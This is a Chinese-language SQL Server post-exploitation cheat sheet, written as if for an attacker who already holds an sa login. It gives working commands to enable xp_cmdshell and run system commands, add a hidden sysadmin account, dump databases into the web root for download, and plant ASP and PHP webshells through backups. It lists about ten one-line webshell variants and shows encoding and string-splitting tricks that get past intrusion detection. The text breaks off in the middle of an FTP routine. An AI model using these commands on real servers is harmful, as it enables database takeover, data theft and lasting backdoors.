需要sa账号登录sql server数据库。
尝试系统命令:1
exec xp_cmdshell 'dir'
这时通过下面的命令允许执行系统命令存储过程sys.xp_cmdshell
。
1 | exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'xp_cmdshell',1;RECONFIGURE; |
这时再运行exec xp_cmdshell 'dir'
就执行了。
添加一个用户,并将其放到管理员组(当前须得为sa用户)
(一般为了不引起警觉,不添加管理权限用户)1
2exec master.dbo.sp_addlogin system,'2015dainihuiji@';
exec master.dbo.sp_addsrvrolemember system,sysadmin;
备份数据库
使用下面的命令对数据库进行备份:
1 | backup database chayibf to disk='c:\inetpub\wwwroot\mybf.bak' |
(可以通过访问下载下来。)
<%blockquote%>
tips:这里如果禁止访问bak后缀的文件,可以将其保存成zip后缀再下载,然后改名字。一般对zip不会做过多限制。
<%endblockquote%>
差异备份
1 | backup database chayibf to disk='c:\inetpub\wwwroot\mybf1.asp' with differential,format; |
在不知道数据库名的情况下,可以用下面的存储过程来备份:
1 | declare @a sysname;set @a=db_name();backup database @a to disk='c:\inetpub\wwwroot\mybf2.rar'; |
创建临时表:
1 | ;create table temp(id nvarchar(255),numl nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- |
有时入侵检测会禁止使用xp_cmdshell命令,这时可以拆分命令或者对其进行编码。
拆分命令
一般对于存储过程不是数据库中的变量都设置成sysname
。1
;declare @a sysname set @a='xp_cmdshell' exec @a 'dir c:\';
拆分成下面的语句绕过:1
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
对其进行编码并利用差异备份写入webshell
小葵转换工具:
1 | ;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x63003A005C0069006E00650074007000750062005C0077007700770072006F006F0074005C0063006F006F006E006600690067002E00610073007000 backup database @a to disk=@s; |
<%blockquote%>
带有00
的称为sql_encode,是sql专有的encode方式;而写入木马插入值的values为hex编码。虽然都是0x开头,但二者编码方式不同。
<%endblockquote%>
log增量备份
1 | alter database chayibf set RECOVERY FULL-- |
1 | alter database chayibf set RECOVERY FULL;-- |
一句话马的其他写法:1
2
3
4
5
6
7
8
9
10a)<%%25Execute(request("a"))%%25>
b)<%Execute(request("a"))%>
c)%><%execute request("a")%><%
d)<script language=VBScript runat=server>execute request("a")</script>
e)<%25Execute(request("a"))%25>
f)<%eval(request("a")):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
i)<%eval request(0)%>
j)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
通过echo写入一句话:1
exec xp_cmdshell 'echo "<?php phpinfo();?>" >d:\xampp\htdocs\test.php'
xp_cmdshell被过滤时:1
declare @a varchar(1024);set @a=cast(0x657865632078705F636D647368656C6C202764697227 as varchar(1024));exec (@a);--
sp_oacreate执行技术
当没有xp_cmdshell的时候,可以使用sp_oacreate执行命令。1
2
3exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
--创建wscript.shell对象
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\inetpub\wwwroot\test.txt';
操作cmd.exe被拦截了…
通过sp_oacreate操作FTP
1 | declare @o int, @f int, @t int, @ret int |